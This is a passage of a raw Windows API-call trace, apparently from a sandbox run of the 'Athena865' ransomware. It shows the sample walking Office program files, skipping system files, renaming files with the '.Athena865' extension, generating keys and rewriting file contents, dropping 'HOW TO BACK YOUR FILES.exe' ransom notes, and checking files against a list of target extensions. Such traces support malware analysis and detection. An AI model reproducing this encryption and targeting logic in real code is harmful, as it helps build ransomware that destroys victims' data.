ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0072.730] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2=".") returned 1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="..") returned 1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="windows") returned -1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="bootmgr") returned 1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="temp") returned -1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="pagefile.sys") returned -1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="boot") returned 1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="ids.txt") returned 1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="ntuser.dat") returned -1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="perflogs") returned -1 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2="MSBuild") returned -1 [0072.731] lstrlenW (lpString="IMWIZ.DLL") returned 9 [0072.731] lstrcpyW (in: lpString1=0x241e89e, lpString2="IMWIZ.DLL" | out: lpString1="IMWIZ.DLL") returned="IMWIZ.DLL" [0072.731] lstrlenW (lpString="IMWIZ.DLL") returned 9 [0072.731] lstrlenW (lpString="Athena865") returned 9 [0072.731] lstrlenW (lpString=".dll") returned 4 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2=".dll") returned 1 [0072.731] lstrlenW (lpString=".lnk") returned 4 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2=".lnk") returned 1 [0072.731] lstrlenW (lpString=".ini") returned 4 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2=".ini") returned 1 [0072.731] lstrlenW (lpString=".sys") returned 4 [0072.731] lstrcmpiW (lpString1="IMWIZ.DLL", lpString2=".sys") returned 1 [0072.731] lstrlenW (lpString="IMWIZ.DLL") returned 9 [0072.731] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL.Athena865") returned 62 [0072.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll.athena865"), dwFlags=0x1) returned 1 [0072.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.733] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16272) returned 1 [0072.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.733] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.734] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.734] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.734] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4290, lpName=0x0) returned 0x154 [0072.736] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4290) returned 0x100000 [0072.737] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.738] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.738] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.739] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0072.739] CloseHandle (hObject=0x154) returned 1 [0072.739] CloseHandle (hObject=0x17c) returned 1 [0072.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.739] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2=".") returned 1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="..") returned 1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="windows") returned -1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="bootmgr") returned 1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="temp") returned -1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="pagefile.sys") returned -1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="boot") returned 1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="ids.txt") returned 1 [0072.739] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="ntuser.dat") returned -1 [0072.740] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="perflogs") returned -1 [0072.740] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2="MSBuild") returned -1 [0072.740] lstrlenW (lpString="INFOPATH.EXE") returned 12 [0072.740] lstrcpyW (in: lpString1=0x241e89e, lpString2="INFOPATH.EXE" | out: lpString1="INFOPATH.EXE") returned="INFOPATH.EXE" [0072.740] lstrlenW (lpString="INFOPATH.EXE") returned 12 [0072.740] lstrlenW (lpString="Athena865") returned 9 [0072.740] lstrcmpiW (lpString1="OPATH.EXE", lpString2="Athena865") returned 1 [0072.740] lstrlenW (lpString=".dll") returned 4 [0072.740] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2=".dll") returned 1 [0072.740] lstrlenW (lpString=".lnk") returned 4 [0072.740] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2=".lnk") returned 1 [0072.740] lstrlenW (lpString=".ini") returned 4 [0072.740] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2=".ini") returned 1 [0072.740] lstrlenW (lpString=".sys") returned 4 [0072.740] lstrcmpiW (lpString1="INFOPATH.EXE", lpString2=".sys") returned 1 [0072.740] lstrlenW (lpString="INFOPATH.EXE") returned 12 [0072.740] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.Athena865") returned 65 [0072.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe.athena865"), dwFlags=0x1) returned 1 [0072.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.741] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2578288) returned 1 [0072.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.741] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.742] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.742] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.742] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x275a70, lpName=0x0) returned 0x154 [0072.744] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x75a70) returned 0x2d50000 [0072.762] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0072.836] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0072.853] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.854] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.854] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.855] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0072.858] CloseHandle (hObject=0x154) returned 1 [0072.858] CloseHandle (hObject=0x17c) returned 1 [0072.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.867] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="INFOPA~1")) returned 1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2=".") returned 1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="..") returned 1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="windows") returned -1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="bootmgr") returned 1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="temp") returned -1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="pagefile.sys") returned -1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="boot") returned 1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="ids.txt") returned 1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="ntuser.dat") returned -1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="perflogs") returned -1 [0072.867] lstrcmpiW (lpString1="InfoPathOM", lpString2="MSBuild") returned -1 [0072.867] lstrlenW (lpString="InfoPathOM") returned 10 [0072.867] lstrcpyW (in: lpString1=0x241e89e, lpString2="InfoPathOM" | out: lpString1="InfoPathOM") returned="InfoPathOM" [0072.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b6a8 [0072.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x539158 [0072.867] lstrcatW (in: lpString1="InfoPathOM", lpString2="\\" | out: lpString1="InfoPathOM\\") returned="InfoPathOM\\" [0072.867] lstrcatW (in: lpString1="InfoPathOM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="InfoPathOM\\HOW TO BACK YOUR FILES.exe") returned="InfoPathOM\\HOW TO BACK YOUR FILES.exe" [0072.867] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\how to back your files.exe"), bFailIfExists=1) returned 1 [0072.872] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".") returned 1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="..") returned 1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="windows") returned -1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="bootmgr") returned 1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="temp") returned -1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="pagefile.sys") returned -1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="boot") returned 1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="ids.txt") returned 1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="ntuser.dat") returned -1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="perflogs") returned -1 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="MSBuild") returned -1 [0072.872] lstrlenW (lpString="INLAUNCH.DLL") returned 12 [0072.872] lstrcpyW (in: lpString1=0x241e89e, lpString2="INLAUNCH.DLL" | out: lpString1="INLAUNCH.DLL") returned="INLAUNCH.DLL" [0072.872] lstrlenW (lpString="INLAUNCH.DLL") returned 12 [0072.872] lstrlenW (lpString="Athena865") returned 9 [0072.872] lstrcmpiW (lpString1="AUNCH.DLL", lpString2="Athena865") returned 1 [0072.872] lstrlenW (lpString=".dll") returned 4 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".dll") returned 1 [0072.872] lstrlenW (lpString=".lnk") returned 4 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".lnk") returned 1 [0072.872] lstrlenW (lpString=".ini") returned 4 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".ini") returned 1 [0072.872] lstrlenW (lpString=".sys") returned 4 [0072.872] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".sys") returned 1 [0072.872] lstrlenW (lpString="INLAUNCH.DLL") returned 12 [0072.873] lstrlenW (lpString="bak") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0072.873] lstrlenW (lpString="ba_") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0072.873] lstrlenW (lpString="dbb") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0072.873] lstrlenW (lpString="vmdk") returned 4 [0072.873] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0072.873] lstrlenW (lpString="rar") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0072.873] lstrlenW (lpString="zip") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0072.873] lstrlenW (lpString="tgz") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0072.873] lstrlenW (lpString="vbox") returned 4 [0072.873] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0072.873] lstrlenW (lpString="vdi") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0072.873] lstrlenW (lpString="vhd") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0072.873] lstrlenW (lpString="vhdx") returned 4 [0072.873] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0072.873] lstrlenW (lpString="avhd") returned 4 [0072.873] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0072.873] lstrlenW (lpString="db") returned 2 [0072.873] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0072.873] lstrlenW (lpString="db2") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0072.873] lstrlenW (lpString="db3") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0072.873] lstrlenW (lpString="dbf") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0072.873] lstrlenW (lpString="mdf") returned 3 [0072.873] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0072.874] lstrlenW (lpString="mdb") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0072.874] lstrlenW (lpString="sql") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0072.874] lstrlenW (lpString="sqlite") returned 6 [0072.874] lstrcmpiW (lpString1="CH.DLL", lpString2="sqlite") returned -1 [0072.874] lstrlenW (lpString="sqlite3") returned 7 [0072.874] lstrcmpiW (lpString1="NCH.DLL", lpString2="sqlite3") returned -1 [0072.874] lstrlenW (lpString="sqlitedb") returned 8 [0072.874] lstrcmpiW (lpString1="UNCH.DLL", lpString2="sqlitedb") returned 1 [0072.874] lstrlenW (lpString="xml") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0072.874] lstrlenW (lpString="$er") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0072.874] lstrlenW (lpString="4dd") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0072.874] lstrlenW (lpString="4dl") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0072.874] lstrlenW (lpString="^^^") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0072.874] lstrlenW (lpString="abs") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0072.874] lstrlenW (lpString="abx") returned 3 [0072.874] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0072.874] lstrlenW (lpString="accdb") returned 5 [0072.874] lstrcmpiW (lpString1="H.DLL", lpString2="accdb") returned 1 [0072.874] lstrlenW (lpString="accdc") returned 5 [0072.874] lstrcmpiW (lpString1="H.DLL", lpString2="accdc") returned 1 [0072.874] lstrlenW (lpString="accde") returned 5 [0072.874] lstrcmpiW (lpString1="H.DLL", lpString2="accde") returned 1 [0072.874] lstrlenW (lpString="accdr") returned 5 [0072.874] lstrcmpiW (lpString1="H.DLL", lpString2="accdr") returned 1 [0072.874] lstrlenW (lpString="accdt") returned 5 [0072.874] lstrcmpiW (lpString1="H.DLL", lpString2="accdt") returned 1 [0072.875] lstrlenW (lpString="accdw") returned 5 [0072.875] lstrcmpiW (lpString1="H.DLL", lpString2="accdw") returned 1 [0072.875] lstrlenW (lpString="accft") returned 5 [0072.875] lstrcmpiW (lpString1="H.DLL", lpString2="accft") returned 1 [0072.875] lstrlenW (lpString="adb") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.875] lstrlenW (lpString="adb") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.875] lstrlenW (lpString="ade") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0072.875] lstrlenW (lpString="adf") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0072.875] lstrlenW (lpString="adn") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0072.875] lstrlenW (lpString="adp") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0072.875] lstrlenW (lpString="alf") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0072.875] lstrlenW (lpString="ask") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0072.875] lstrlenW (lpString="btr") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0072.875] lstrlenW (lpString="cat") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0072.875] lstrlenW (lpString="cdb") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0072.875] lstrlenW (lpString="ckp") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0072.875] lstrlenW (lpString="cma") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0072.875] lstrlenW (lpString="cpd") returned 3 [0072.875] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0072.875] lstrlenW (lpString="dacpac") returned 6 [0072.875] lstrcmpiW (lpString1="CH.DLL", lpString2="dacpac") returned -1 [0072.876] lstrlenW (lpString="dad") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0072.876] lstrlenW (lpString="dadiagrams") returned 10 [0072.876] lstrcmpiW (lpString1="LAUNCH.DLL", lpString2="dadiagrams") returned 1 [0072.876] lstrlenW (lpString="daschema") returned 8 [0072.876] lstrcmpiW (lpString1="UNCH.DLL", lpString2="daschema") returned 1 [0072.876] lstrlenW (lpString="db-journal") returned 10 [0072.876] lstrcmpiW (lpString1="LAUNCH.DLL", lpString2="db-journal") returned 1 [0072.876] lstrlenW (lpString="db-shm") returned 6 [0072.876] lstrcmpiW (lpString1="CH.DLL", lpString2="db-shm") returned -1 [0072.876] lstrlenW (lpString="db-wal") returned 6 [0072.876] lstrcmpiW (lpString1="CH.DLL", lpString2="db-wal") returned -1 [0072.876] lstrlenW (lpString="dbc") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0072.876] lstrlenW (lpString="dbs") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0072.876] lstrlenW (lpString="dbt") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0072.876] lstrlenW (lpString="dbv") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0072.876] lstrlenW (lpString="dbx") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0072.876] lstrlenW (lpString="dcb") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0072.876] lstrlenW (lpString="dct") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0072.876] lstrlenW (lpString="dcx") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0072.876] lstrlenW (lpString="ddl") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0072.876] lstrlenW (lpString="dlis") returned 4 [0072.876] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0072.876] lstrlenW (lpString="dp1") returned 3 [0072.876] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0072.877] lstrlenW (lpString="dqy") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0072.877] lstrlenW (lpString="dsk") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0072.877] lstrlenW (lpString="dsn") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0072.877] lstrlenW (lpString="dtsx") returned 4 [0072.877] 